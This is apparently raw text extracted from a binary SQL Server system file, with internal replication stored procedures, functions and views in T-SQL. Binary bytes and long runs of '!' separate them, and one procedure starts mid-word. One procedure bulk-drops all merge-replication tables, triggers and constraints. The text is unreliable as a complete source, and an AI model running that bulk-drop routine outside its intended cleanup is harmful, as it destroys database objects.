!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@`
<C=0k 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_node_access_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_node_access_stats
0 &8create procedure sys.sp_scriptupdateparams 
(
    @src_objid int
    ,@artid int 
    ,@artcolcounter bit = 0 -- 0 means it does column counting base on pk, 1 means base on article columns
    ,@param_count int = NULL output
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@userdefinedtypestobasetypes bit=0
    ,@xmltontext bit=0
    ,@maxtypestomatchingnonmaxtypes bit=0
    ,@maptimestamp bit = 1
    ,@setdefaultnulls bit = 0
    ,@newdatetimetypestostrings bit = 0
    ,@hierarchyidtovarbinarymax bit = 0
    ,@largeuserdefinedtypestovarbinarymax bit = 0
    ,@spatialtypestovarbinarymax bit = 0
)
as
begin
    declare @this_col int
                ,@art_col int
                ,@spacer nvarchar(10)
                ,@isset int
                ,@isvalidcolumn tinyint
                ,@cmd nvarchar(4000)
                ,@typestring nvarchar(255)
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint

    -- add colval parameters
    select @param_count = NULL
            ,@art_col = 1
            ,@spacer = N' '
            ,@cmd = ''
            ,@pubtypemssqlserver = 1
            ,@pubtypeheterogeneous = 2

    if (@publishertype not in (@pubtypemssqlserver, @pubtypeheterogeneous))
    begin
        raiserror(21402, 16, 4, '@publishertype')
        return 1
    end

    if (@publishertype = @pubtypemssqlserver)
    begin
        declare hCColid cursor local fast_forward for 
            select column_id from sys.columns where object_id = @src_objid order by column_id asc
    end
    else
    begin
        declare hCColid cursor local fast_forward for 
            select colid from IHsyscolumns where id = @src_objid order by colorder asc
    end
    OPEN hCColid
    FETCH hCColid INTO @this_col
    WHILE ( 1 = 1 )
    begin
        if @@fetch_status = -1
        begin
            -- If called by sp_scriptxupdproc and it is the first time
            -- at the end of the cursor loop
            if @artcolcounter = 1 and @param_count is NULL
            begin
                -- Reset it so that we know we encountered cursor end once.
                select @param_count = 0
                -- Reopen cursor
                CLOSE hCColid
                DEALLOCATE hCColid
                if (@publishertype = @pubtypemssqlserver)
                begin
                    declare hCColid cursor local fast_forward for 
                        select column_id from sys.columns where object_id = @src_objid order by column_id asc
                end
                else
                begin
                    declare hCColid cursor local fast_forward for 
                        select colid from IHsyscolumns where id = @src_objid order by colorder asc
                end
                OPEN hCColid
                FETCH hCColid INTO @this_col
                continue
            end
            else
                break;
        end
        exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
        if (@publishertype = @pubtypemssqlserver)
            select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed<>1) then 1 else 0 end
        else
            select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
        if @isset = 1 and @isvalidcolumn = 1
        begin
            select @typestring = sys.fn_gettypestring (@src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
            select @cmd = @cmd + @spacer + N'@c' + convert( nvarchar, @art_col ) + N' ' + @typestring 
            select @art_col = @art_col + 1

            if @setdefaultnulls = 1
            begin
				select @cmd = @cmd + ' = null'
            end
            
            select @spacer = N','

            if len( @cmd ) > 3000
            begin
            insert into #proctext(procedure_text) values( @cmd )
                select @cmd = N''
            end
        end
        FETCH hCColid INTO @this_col
    end
    CLOSE hCColid
    DEALLOCATE hCColid

    select @param_count = @art_col -1

    -- add pkval parameters
    -- If it is 1 we are called by sp_scriptxupdproc, no need for PK params
    if @artcolcounter = 0
    begin
        select @art_col = 1
        if (@publishertype = @pubtypemssqlserver)
        begin
            declare hCColid cursor local fast_forward for 
                select column_id from sys.columns where object_id = @src_objid order by column_id asc
        end
        else
        begin
            declare hCColid cursor local fast_forward for 
                select colid from IHsyscolumns where id = @src_objid order by colorder asc
        end
        OPEN hCColid
        FETCH hCColid INTO @this_col
        WHILE (@@fetch_status <> -1)
        begin
            exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            if (@publishertype = @pubtypemssqlserver)
                select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id) then 1 else 0 end
            else
                select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
            if @isset = 1 and @isvalidcolumn = 1
            begin
                select @typestring = sys.fn_gettypestring (@src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
                select @cmd = @cmd + @spacer + N'@pkc' + convert( nvarchar, @art_col ) + N' ' + @typestring 
                select @art_col = @art_col + 1
                select @spacer = N','

                if len( @cmd ) > 3000
                begin
                insert into #proctext(procedure_text) values( @cmd )
                    select @cmd = N''
                end
            end
            FETCH hCColid INTO @this_col
        end
        CLOSE hCColid
        DEALLOCATE hCColid
    end

    insert into #proctext(procedure_text) values ( @cmd )
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<vL&	ㄥ0m@ (8
--
-- Name:    
--          sp_IHquery
--          
-- Description: 
--          Executes query stored in temp table #hquery
--			against specified linked server
--  
-- Security:
-- 	Internal
--
-- Returns:
--          Error code
--      
-- Owner:   
--          acarter
--
-- Notes:
--			Requires temp table with following definition:
--				create table #hquery(seq int identity(2,1), cmd nvarchar(4000))
--

CREATE PROCEDURE sys.sp_IHquery
(
	@linkedserver	sysname
)
AS
BEGIN
	declare @retcode	int,
			@command	varchar(4096),
			@dbname		sysname

	SET NOCOUNT ON 

	SELECT	@retcode = 0,
			@dbname  = db_name()

	-- Verify publisher linked server login exists
	EXEC @retcode = sys.sp_IHCheckPublisherLogin @publisher = @linkedserver OUTPUT
	IF @retcode != 0
	BEGIN
		RETURN (@retcode)
	END

	-- Validate #hquery table exists and no invalid entry
	IF object_id('tempdb..#hquery', 'U') IS NULL
	OR EXISTS
	(
		SELECT	*
		FROM	#hquery
		WHERE	seq = 0
	)
	BEGIN
        RAISERROR(8624, 16, -1)
		RETURN 1
	END

	-- Prepare quotes for embedded exec
	UPDATE #hquery
	SET cmd = REPLACE(cmd, '''', '''''')
	
	-- Inject execute wrapper fragments
	SET IDENTITY_INSERT #hquery ON
	INSERT INTO #hquery (seq, cmd) VALUES (1, N'execute (N''')
	SET IDENTITY_INSERT #hquery OFF
	INSERT INTO #hquery (cmd) VALUES (N''') at ' + QUOTENAME(@linkedserver))

	-- Execute query
	EXEC @retcode = sys.sp_IHexecresultset N'SELECT cmd FROM #hquery ORDER BY seq', @dbname

	RETURN @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
l<\9gK0> Q8--
-- Name: fn_replgetagentcommandlinefromjobid
--
-- Description: This function retrieves the command line  
--              of the replication agent with the 
--              specified job_id.
--
-- Parameters: @agenttype nvarchar(16)
--             @job_id uniqueidentifier
-- 
-- Returns: nvarchar(3200) 
--
-- Notes: This function can return null if the 
--        the given job_id doesn't belong to a
--        replication agent of the specified type.
--
-- Security: Admin access only
-- 
create function sys.fn_replgetagentcommandlinefromjobid (
    @agenttype nvarchar(16),
    @job_id uniqueidentifier
    ) returns nvarchar(3200)
as
begin
    declare @commandline nvarchar(3200)
    select @commandline = null
    select @agenttype = upper(@agenttype collate SQL_Latin1_General_CP1_CS_AS)
    select @commandline = command 
      from msdb.dbo.sysjobsteps
     where job_id = @job_id
       and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = @agenttype collate SQL_Latin1_General_CP1_CS_AS

    return @commandline
end
0k 8
/* Permission to sysadmin - Wrapper to include security check*/
create procedure sys.sp_MSremovedb_merge_replication_brute_force as
begin

		declare @merge_object nvarchar(517)
		declare @schema_name sysname
		declare @object_type char(2)
		declare @constraintname nvarchar(258)
		declare @parent_object_id int
		declare @parent_table nvarchar(517)
		DECLARE @retcode int


		-- drop objects that are marked is_ms_shipped and are named MSmerge_%	
		declare merge_objects cursor local fast_forward
		for select QUOTENAME(name), type from sys.objects 
			where (name like 'MSmerge_%' or  name like  'sysmerge_%') and is_ms_shipped=1
		open merge_objects 
		fetch merge_objects into @merge_object, @object_type
		while @@fetch_status <> -1
		begin
			if @object_type = 'P'
				exec ('drop procedure ' + @merge_object)				
			else if @object_type = 'V'
				exec ('drop view ' + @merge_object)			
			else if @object_type = 'U'
				exec ('drop table ' + @merge_object)				
			else if @object_type = 'TR'
				exec ('drop trigger ' + @merge_object)			
			else if @object_type = 'D'
				exec ('drop constraint ' + @merge_object)
			fetch merge_objects into @merge_object, @object_type
		end
		close merge_objects
		deallocate merge_objects				        
    


		-- drop database level DDL triggers
		declare merge_ddl_triggers cursor local fast_forward
		for select QUOTENAME(name) from sys.triggers
			where name like 'MSmerge_%' and is_ms_shipped=1
		open merge_ddl_triggers 
		fetch merge_ddl_triggers into @merge_object
		while @@fetch_status <> -1
		begin
			exec ('drop trigger ' + @merge_object)		        
			fetch merge_ddl_triggers into @merge_object
		end
		close merge_ddl_triggers
		deallocate merge_ddl_triggers	  
	
		-- drop triggers for tables under nondbo schemas.
		-- Triggers for user.table articles cannot be marked is_ms_shipped			   
	    declare merge_nondbo_triggers cursor local fast_forward
	    for select QUOTENAME(trgs.name), SCHEMA_NAME(objs.schema_id) from sys.triggers trgs JOIN sys.objects objs ON trgs.parent_id = objs.object_id
	        where trgs.name like 'MSmerge_%'
	    open merge_nondbo_triggers 
	    fetch merge_nondbo_triggers into @merge_object, @schema_name
	    while @@fetch_status <> -1
	    begin
	        select @merge_object = QUOTENAME(@schema_name) + '.' + @merge_object
			exec ('drop trigger ' + @merge_object)            			
	        fetch merge_nondbo_triggers into @merge_object, @schema_name
	    end
	    close merge_nondbo_triggers
	    deallocate merge_nondbo_triggers	 

	    -- remove all repl_identity_range constraints
	    declare idrange_constraints cursor local fast_forward
	    for select quotename(name), parent_object_id from sys.objects where name like 'repl_identity_range%' and type = 'C'
	    open idrange_constraints
	    fetch idrange_constraints into @constraintname, @parent_object_id
	    while @@fetch_status <> -1
	    begin
	        select @parent_table = quotename(schema_name(schema_id)) + '.' + quotename(name) from sys.objects where object_id = @parent_object_id
			exec ('alter table ' + @parent_table + ' drop constraint ' + @constraintname)				
    	    fetch next from idrange_constraints into @constraintname, @parent_object_id
	    end
	    close idrange_constraints
	    deallocate idrange_constraints	 

		-- drop all kind of misc tables 
		declare @misc_tables_list table(name sysname)
		insert into @misc_tables_list values('MSdynamicsnapshotjobs')
		insert into @misc_tables_list values('MSdynamicsnapshotviews')	
		declare misc_tables cursor local fast_forward
		for select QUOTENAME(o.name) from sys.objects o, @misc_tables_list as m
			where o.name = m.name and o.type = 'U' and o.is_ms_shipped=1

		open misc_tables 
		fetch misc_tables into @merge_object
		while @@fetch_status <> -1
		begin
			exec ('drop table ' + @merge_object)
			 fetch next from misc_tables into @merge_object					
		end
		close misc_tables
	    deallocate misc_tables	 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
Mc0; 	8create procedure sys.sp_MSscript_pub_upd_trig 
(
    @publication sysname, 
    @article     sysname,
    @procname    sysname,
    @alter 	bit = 0 -- if 1 script alter, otherwise script create
)
as
begin
    declare @cmd       nvarchar(4000)
    declare @qualname  nvarchar(517)
    declare @objid     int
    declare @artid     int
                ,@retcode int

    set nocount on
    --
    -- security check -- dbo+ to script create or alter
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end

    -- Create temp table
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

    -- Retrieve underlying table name and replicated columns
    select @objid = objid, @artid = a.artid from sysarticles a join syspublications p on  a.pubid = p.pubid
        where a.name = @article and
              p.name = @publication 

    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT

    -- Trigger should be invoked for repl processes as well.
    select @cmd = case @alter when 0 then N'create' else N'alter' end + ' trigger ' + QUOTENAME(@procname) + N' on ' + @qualname + N' '

    select @cmd = @cmd + N'for update not for replication as ' 

    exec sys.sp_MSflush_command @cmd output, 1

    insert into #proctext(procedure_text) values(N'
')
    -- declare common local variables
    insert into #proctext(procedure_text) values 
        (N'declare @rc int
')
    insert into #proctext(procedure_text) values(N'select @rc = @@ROWCOUNT 

')
        
    -- Optimization. Return immediately if no row changed
    -- This must be at the beginning of the trigger to @@rowcount be overwritten.
    insert into #proctext(procedure_text) values(N'if @rc = 0 return 
')
    insert into #proctext(procedure_text) values(N'if update (msrepl_tran_version) return 
')

    -- update the version column of all the updated rows all at once.
    select @cmd = N'update ' + @qualname + N' set msrepl_tran_version = newid() from ' +
        @qualname + ', inserted '
    exec sys.sp_MSflush_command @cmd output, 1
    insert into #proctext(procedure_text) values(N'
')
    exec sys.sp_MSscript_where_clause @objid, @artid, 'version pk', null, 4

    insert into #proctext(procedure_text) values(N'
')
    -- send fragments to client
    select procedure_text from #proctext order by c1 asc
end
00e 8create procedure sys.sp_MSrepl_publicationsnapshotjobcontrol
(
    @publication    sysname,
    @publisher      sysname,
    @action         tinyint
)
as
begin
    set nocount on

    declare @retcode        int
    declare @tranpub_found  bit
    declare @mergepub_found bit
    declare @dbname         sysname    
    declare @start          tinyint

    set @retcode        = 0
    set @tranpub_found  = 0
    set @mergepub_found = 0
    set @dbname         = db_name()
    set @start          = 0

    if @publisher is null 
        set @publisher = publishingservername()

    exec @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_MSrepl_publicationsnapshotjobcontrol'
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 return @retcode end
    
    exec @retcode = sys.sp_MSreplcheck_publish         
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 return @retcode end

    if sys.fn_MSrepl_ispublished(@dbname) != 1 
    begin
        raiserror (18757, 16, -1)
        return (1)
    end
        
    if sys.fn_MSrepl_istranpublished(@dbname, 1) = 1
    begin
        if exists (select * from dbo.syspublications where name = @publication)
        begin
            set @tranpub_found = 1 
        end
    end

    if sys.fn_MSrepl_ismergepublished(@dbname) = 1
    begin
        if exists (select * from dbo.sysmergepublications where name = @publication and publisher_db = @dbname and upper(publisher) = upper(@publisher))
        begin
            set @mergepub_found = 1
        end
    end

    if @tranpub_found = 0 and @mergepub_found = 0
    begin
        raiserror (15001, 11, -1, @publication)
        return (1)
    end
    
    declare @distributor    sysname
    declare @distribdb      sysname
    declare @dist_rpcname   sysname  
    declare @distproc       nvarchar(4000)
    declare @pubtype        sysname
    
    set @distproc = N''
    set @pubtype = null

    exec @retcode = sys.sp_MSrepl_getdistributorinfo    
            @publisher = @publisher,
            @distributor = @distributor output,
            @distribdb = @distribdb output,
            @rpcsrvname = @dist_rpcname output,
            @publisher_type = @pubtype output
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 return @retcode end

    if (@publisher is not null) and (@pubtype is null or @distribdb is null or @distributor is null)
    begin
        raiserror (21600, 16, -1, @publisher)
        return (1)
    end

    set @distproc = quotename(rtrim(@dist_rpcname)) + '.' + quotename(@distribdb) + case when @action = @start then '.sys.sp_MSstartsnapshot_agent' else '.sys.sp_MSstopsnapshot_agent' end
    exec @retcode = @distproc
                    @publisher = @publisher,
                    @publisher_db = @dbname,
                    @publication = @publication
    return @retcode
        
end 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A
`<j 0zcY 8
create procedure sys.sp_filestream_recalculate_container_size
(
	@dbname sysname,			-- name of the database to process
	@filename sysname = NULL	-- FILESTREAM file container name to recalculate
)
as
begin
	set nocount    on

	declare @returncode	int

	EXEC @returncode = sys.sp_filestream_recalculate_container_size_internal @dbname, @filename

	return @returncode
end
0nh@ 8create procedure sys.sp_MShelp_distdb (     
    @publisher_name     sysname
)
as

-- Current user must have PAL access to at least one distribution database
declare @retcode int
exec @retcode = sys.sp_MSrepl_DistributorPALAccess
if @retcode <> 0 or @@error <> 0
BEGIN
    select NULL where 1=2   /* We still want an empty rowset for some agents */
    return(1)
end

if exists (select name from msdb.sys.objects where name = 'MSdistpublishers')
begin
    select distribution_db from msdb..MSdistpublishers
    where UPPER(name collate database_default) = UPPER(@publisher_name) collate database_default
end
else 
    select NULL where 1=2   /* We still want an empty rowset for some agents */
0Y 8create procedure sys.sp_MSscriptcustomupdproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
    ,@inDDLrepl bit=0
)
as
begin
	declare @retcode int
			,@scripting_proc nvarchar(512)
			,@updformat int
	--
	-- security check
	--
	exec @retcode = sys.sp_MSreplcheck_publish_withddladmin
	if @@error <> 0 or @retcode <> 0
	begin
	    return (1)
	end

	select @scripting_proc = quotename(object_name(upd_scripting_proc))
			,@updformat = case 
			    		when charindex( N'CALL', upper(upd_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 1  
			    		when charindex( N'MCALL', upper(upd_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 2  
			    		when charindex( N'XCALL', upper(upd_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 3  
			    		when charindex( N'VCALL', upper(upd_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 4
			    		when charindex( N'SCALL', upper(upd_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 5
			    		else 0 end
		    from sysarticles where artid = @artid

	-- SQL/None upd_cmd does not involve scripting, return without doing anything here.
	if @updformat = 0
		return (0)
	
	if @scripting_proc is null
	begin
        if @usesqlclr = 1 and @publishertype = 1
        begin
            exec @retcode = sys.sp_MSscriptcustomupdproc_sqlclr
                @artid = @artid
                ,@publisher = @publisher
        end
        else
        begin

		    select @scripting_proc = case @updformat when 1 then N'sys.sp_scriptupdproc'
			    								when 2 then N'sys.sp_scriptmappedupdproc'
				    							when 3 then N'sys.sp_scriptxupdproc'
					    						when 4 then N'sys.sp_scriptvupdproc'
						    					when 5 then N'sys.sp_scriptsupdproc'
							    				else N'' end
		    exec @retcode = @scripting_proc @artid = @artid
			    						,@publishertype = @publishertype
				    					,@publisher = @publisher
        end
	end
	else
 	begin
		--
		-- For security: break ownership chain as
		-- we have no control over the proc name is
		--
		declare @spretcode int
				,@spcall nvarchar(512)
		declare @temptext table(colidx int identity, col nvarchar(max) collate database_default) 
		select @spcall = N'exec @p1 = ' + @scripting_proc + N' @artid = @p2 '
		if @inDDLrepl = 1
		begin
			exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
		end
		else
		begin
			insert @temptext(col) exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
			select col from @temptext order by colidx
		end
		if (@retcode != 0 or @spretcode != 0)
			select @retcode = 1
	end
	
	return @retcode
end
06h@ P8&hv	>w	Q	rity check
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSenumcolumns')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    --
    -- For security: break ownership chain as
    -- we have no control over the proc name is
    --
    declare @spretcode int
            ,@spcall nvarchar(256)
    select @procname = 'dbo.' + select_proc from dbo.sysmergearticles where pubid = @pubid and artid = @artid
    select @spcall = N'exec @p1 = ' + @procname + N' @maxschemaguidforarticle = '

    if @maxschemaguidforarticle is NULL
        select @spcall = @spcall + 'NULL'
    else
        select @spcall = @spcall + '''' + convert(nvarchar(40),@maxschemaguidforarticle) +  ''''

    select @spcall = @spcall + ', @type = 6 '
    
    exec @retcode = sys.sp_executesql @stmt = @spcall
        ,@params = N'@p1 int output'
        ,@p1 = @spretcode output
    IF @@error<>0 or @retcode<>0 or @spretcode != 0 
        return 1
    
    -- SQL2000 and lower agents pass @show_filtering_columns as 0. 
    if @show_filtering_columns = 1
    begin
        select @nickname = nickname from dbo.sysmergearticles
        where pubid = @pubid 
        and artid = @artid
        
        exec @retcode = sys.sp_MSgetfilteringcolumns @pubid = @pubid, @nickname = @nickname
        if @@error <> 0 or @retcode <> 0
            return 1
    end
    
    return 0

0͘ 8 
-- add it
create view sys.dm_pdw_diag_processing_stats as
select
	pdw_node_id,
	process_id,
	target_name	collate database_default target_name,
	queue_size,
	lost_events_count
from sys._dm_pdw_diag_processing_stats
